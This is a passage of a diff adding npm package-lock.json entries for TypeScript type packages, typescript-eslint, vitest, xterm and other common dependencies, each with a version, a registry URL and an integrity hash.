"sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==", + "license": "MIT" + }, + "node_modules/@types/d3-time-format": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/@types/d3-time-format/-/d3-time-format-4.0.3.tgz", + "integrity": "sha512-5xg9rC+wWL8kdDj153qZcsJ0FWiFt0J5RB6LYUNZjwSnesfblqrI/bJ1wBdJ8OQfncgbJG5+2F+qfqnqyzYxyg==", + "license": "MIT" + }, + "node_modules/@types/d3-timer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", + "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==", + "license": "MIT" + }, + "node_modules/@types/d3-transition": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-transition/-/d3-transition-3.0.9.tgz", + "integrity": "sha512-uZS5shfxzO3rGlu0cC3bjmMFKsXv+SmZZcgp0KD22ts4uGXp5EVYGzu/0YdwZeKmddhcAccYtREJKkPfXkZuCg==", + "license": "MIT", + "dependencies": { + "@types/d3-selection": "*" + } + }, + "node_modules/@types/d3-zoom": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/@types/d3-zoom/-/d3-zoom-3.0.8.tgz", + "integrity": "sha512-iqMC4/YlFCSlO8+2Ii1GGGliCAY4XdeG748w5vQUbevlbDu0zSjH/+jojorQVBK/se0j6DUFNPBGSqD3YWYnDw==", + "license": "MIT", + "dependencies": { + "@types/d3-interpolate": "*", + "@types/d3-selection": "*" + } + }, + "node_modules/@types/deep-eql": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", + "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/geojson": { + "version": "7946.0.16", + "resolved": "https://registry.npmjs.org/@types/geojson/-/geojson-7946.0.16.tgz", + "integrity": "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==", + "license": "MIT" + }, + "node_modules/@types/js-yaml": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-4.0.9.tgz", + "integrity": "sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/prop-types": { + "version": "15.7.15", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz", + "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==", + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "18.3.28", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.28.tgz", + "integrity": "sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw==", + "license": "MIT", + "dependencies": { + "@types/prop-types": "*", + "csstype": "^3.2.2" + } + }, + "node_modules/@types/react-dom": { + "version": "18.3.7", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.7.tgz", + "integrity": "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "^18.0.0" + } + }, + "node_modules/@types/statuses": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/statuses/-/statuses-2.0.6.tgz", + "integrity": "sha512-xMAgYwceFhRA2zY+XbEA7mxYbA093wdiW8Vu6gZPGWy9cmOyU9XesH1tNcEWsKFd5Vzrqx5T3D38PWx1FIIXkA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/trusted-types": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz", + "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==", + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/@types/use-sync-external-store": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz", + "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg==", + "license": "MIT" + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.56.0.tgz", + "integrity": "sha512-lRyPDLzNCuae71A3t9NEINBiTn7swyOhvUj3MyUOxb8x6g6vPEFoOU+ZRmGMusNC3X3YMhqMIX7i8ShqhT74Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/regexpp": "^4.12.2", + "@typescript-eslint/scope-manager": "8.56.0", + "@typescript-eslint/type-utils": "8.56.0", + "@typescript-eslint/utils": "8.56.0", + "@typescript-eslint/visitor-keys": "8.56.0", + "ignore": "^7.0.5", + "natural-compare": "^1.4.0", + "ts-api-utils": "^2.4.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^8.56.0", + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", + "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.56.0.tgz", + "integrity": "sha512-IgSWvLobTDOjnaxAfDTIHaECbkNlAlKv2j5SjpB2v7QHKv1FIfjwMy8FsDbVfDX/KjmCmYICcw7uGaXLhtsLNg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/scope-manager": "8.56.0", + "@typescript-eslint/types": "8.56.0", + "@typescript-eslint/typescript-estree": "8.56.0", + "@typescript-eslint/visitor-keys": "8.56.0", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/project-service": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.56.0.tgz", + "integrity": "sha512-M3rnyL1vIQOMeWxTWIW096/TtVP+8W3p/XnaFflhmcFp+U4zlxUxWj4XwNs6HbDeTtN4yun0GNTTDBw/SvufKg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/tsconfig-utils": "^8.56.0", + "@typescript-eslint/types": "^8.56.0", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.56.0.tgz", + "integrity": "sha512-7UiO/XwMHquH+ZzfVCfUNkIXlp/yQjjnlYUyYz7pfvlK3/EyyN6BK+emDmGNyQLBtLGaYrTAI6KOw8tFucWL2w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.56.0", + "@typescript-eslint/visitor-keys": "8.56.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/tsconfig-utils": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.56.0.tgz", + "integrity": "sha512-bSJoIIt4o3lKXD3xmDh9chZcjCz5Lk8xS7Rxn+6l5/pKrDpkCwtQNQQwZ2qRPk7TkUYhrq3WPIHXOXlbXP0itg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.56.0.tgz", + "integrity": "sha512-qX2L3HWOU2nuDs6GzglBeuFXviDODreS58tLY/BALPC7iu3Fa+J7EOTwnX9PdNBxUI7Uh0ntP0YWGnxCkXzmfA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.56.0", + "@typescript-eslint/typescript-estree": "8.56.0", + "@typescript-eslint/utils": "8.56.0", + "debug": "^4.4.3", + "ts-api-utils": "^2.4.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/types": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.56.0.tgz", + "integrity": "sha512-DBsLPs3GsWhX5HylbP9HNG15U0bnwut55Lx12bHB9MpXxQ+R5GC8MwQe+N1UFXxAeQDvEsEDY6ZYwX03K7Z6HQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.56.0.tgz", + "integrity": "sha512-ex1nTUMWrseMltXUHmR2GAQ4d+WjkZCT4f+4bVsps8QEdh0vlBsaCokKTPlnqBFqqGaxilDNJG7b8dolW2m43Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/project-service": "8.56.0", + "@typescript-eslint/tsconfig-utils": "8.56.0", + "@typescript-eslint/types": "8.56.0", + "@typescript-eslint/visitor-keys": "8.56.0", + "debug": "^4.4.3", + "minimatch": "^9.0.5", + "semver": "^7.7.3", + "tinyglobby": "^0.2.15", + "ts-api-utils": "^2.4.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.0.tgz", + "integrity": "sha512-TN1kCZAgdgweJhWWpgKYrQaMNHcDULHkWwQIspdtjV4Y5aurRdZpjAqn6yX3FPqTA9ngHCc4hJxMAMgGfve85w==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/utils": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.56.0.tgz", + "integrity": "sha512-RZ3Qsmi2nFGsS+n+kjLAYDPVlrzf7UhTffrDIKr+h2yzAlYP/y5ZulU0yeDEPItos2Ph46JAL5P/On3pe7kDIQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.9.1", + "@typescript-eslint/scope-manager": "8.56.0", + "@typescript-eslint/types": "8.56.0", + "@typescript-eslint/typescript-estree": "8.56.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.56.0.tgz", + "integrity": "sha512-q+SL+b+05Ud6LbEE35qe4A99P+htKTKVbyiNEe45eCbJFyh/HVK9QXwlrbz+Q4L8SOW4roxSVwXYj4DMBT7Ieg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.56.0", + "eslint-visitor-keys": "^5.0.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.0.tgz", + "integrity": "sha512-A0XeIi7CXU7nPlfHS9loMYEKxUaONu/hTEzHTGba9Huu94Cq1hPivf+DE5erJozZOky0LfvXAyrV/tcswpLI0Q==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@vitejs/plugin-react": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", + "integrity": "sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.28.0", + "@babel/plugin-transform-react-jsx-self": "^7.27.1", + "@babel/plugin-transform-react-jsx-source": "^7.27.1", + "@rolldown/pluginutils": "1.0.0-beta.27", + "@types/babel__core": "^7.20.5", + "react-refresh": "^0.17.0" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "peerDependencies": { + "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" + } + }, + "node_modules/@vitest/coverage-v8": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.9.tgz", + "integrity": "sha512-G9/lgqibheLVBDRuya45EbsEXTYcWoSG+TLg7i2axuzx0Eq62eXn+aWXyaVdV5vKvFSWd6ywcX8hA7la9Pvu8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@bcoe/v8-coverage": "^1.0.2", + "@vitest/utils": "4.1.9", + "ast-v8-to-istanbul": "^1.0.0", + "istanbul-lib-coverage": "^3.2.2", + "istanbul-lib-report": "^3.0.1", + "istanbul-reports": "^3.2.0", + "magicast": "^0.5.2", + "obug": "^2.1.1", + "std-env": "^4.0.0-rc.1", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@vitest/browser": "4.1.9", + "vitest": "4.1.9" + }, + "peerDependenciesMeta": { + "@vitest/browser": { + "optional": true + } + } + }, + "node_modules/@vitest/expect": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.9.tgz", + "integrity": "sha512-vl/rYsUKcBr3SnQn166+XR5ZQcgMx3DQhFWdfli/cWpLnLUmbxZvyrJZotLFUryib+LtArYMSTJ5RbQ57ZqrlA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.1.0", + "@types/chai": "^5.2.2", + "@vitest/spy": "4.1.9", + "@vitest/utils": "4.1.9", + "chai": "^6.2.2", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/pretty-format": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.9.tgz", + "integrity": "sha512-s0iufns3iIFitdgm+YR7g1whCAaGtXz459VS9/PqyKDEEFgYIhsHOQmXgIgDuYCt7DeQmiZT0Qe2OA2p4ZPu5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.9.tgz", + "integrity": "sha512-KXLMDtc7oe70+3mJfGrPUWPesswH+3sTxAMAMl8DG7I8IUQT4XW718dY5ID3vPUcmlu27CcKfY4P3h3I29SLJg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/utils": "4.1.9", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/snapshot": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.9.tgz", + "integrity": "sha512-Jc7RKGNBo8Z28WYIm0Niej4xdSPByRf6mU58VpHQkd6Zh05rlnA+twjbK5HyeIGHxrzsc3mJgS43uM0CZKzaIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.9", + "@vitest/utils": "4.1.9", + "magic-string": "^0.30.21", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/spy": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.9.tgz", + "integrity": "sha512-fHpsS6mIi+PiEW+vcRVOMkX1oSaPKne3VOclSFICPcGOmfKgXPU5iAah+wcNcj2xPrCCmfq99IDGf+EojhhvhA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/utils": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.9.tgz", + "integrity": "sha512-A51o8ymO5PpqlWNnBP9ZHPXDIpuMtTLlGSjN7la4US+LJzoUMyhwjA5QXlm39JexgwHKW4Xjs8Z2d3dLCXOeuA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.9", + "convert-source-map": "^2.0.0", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@xterm/addon-fit": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.10.0.tgz", + "integrity": "sha512-UFYkDm4HUahf2lnEyHvio51TNGiLK66mqP2JoATy7hRZeXaGMRDr00JiSF7m63vR5WKATF605yEggJKsw0JpMQ==", + "license": "MIT", + "peerDependencies": { + "@xterm/xterm": "^5.0.0" + } + }, + "node_modules/@xterm/xterm": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz", + "integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==", + "license": "MIT" + }, + "node_modules/acorn": { + "version": "8.15.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", + "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/agent-base": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, + "node_modules/ajv": { + "version": "6.14.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", + "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-colors": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz", + "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true, + "license": "MIT" + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "license": "ISC", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true, + "license": "MIT" + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "license": "Python-2.0" + }, + "node_modules/aria-hidden": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.6.tgz", + "integrity": "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==", + "license": "MIT", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/aria-query": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", + "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/assertion-error": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", + "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/ast-v8-to-istanbul": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/ast-v8-to-istanbul/-/ast-v8-to-istanbul-1.0.4.tgz", + "integrity": "sha512-0bC0/4bTSrnwdhU3IsZDwEdojvuPrSg59OYZfKsLRtJZ0u8VBx9DebfqqG8bRdCC0I7vjgxmPi41P0lpkhJHtA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.31", + "estree-walker": "^3.0.3", + "js-tokens": "^10.0.0" + } + }, + "node_modules/ast-v8-to-istanbul/node_modules/js-tokens": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-10.0.0.tgz", + "integrity": "sha512-lM/UBzQmfJRo9ABXbPWemivdCW8V2G8FHaHdypQaIy523snUjog0W71ayWXTjiR+ixeMyVHN2XcpnTd/liPg/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/autoprefixer": { + "version": "10.4.24", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.24.tgz", + "integrity": "sha512-uHZg7N9ULTVbutaIsDRoUkoS8/h3bdsmVJYZ5l3wv8Cp/6UIIoRDm90hZ+BwxUj/hGBEzLxdHNSKuFpn8WOyZw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": 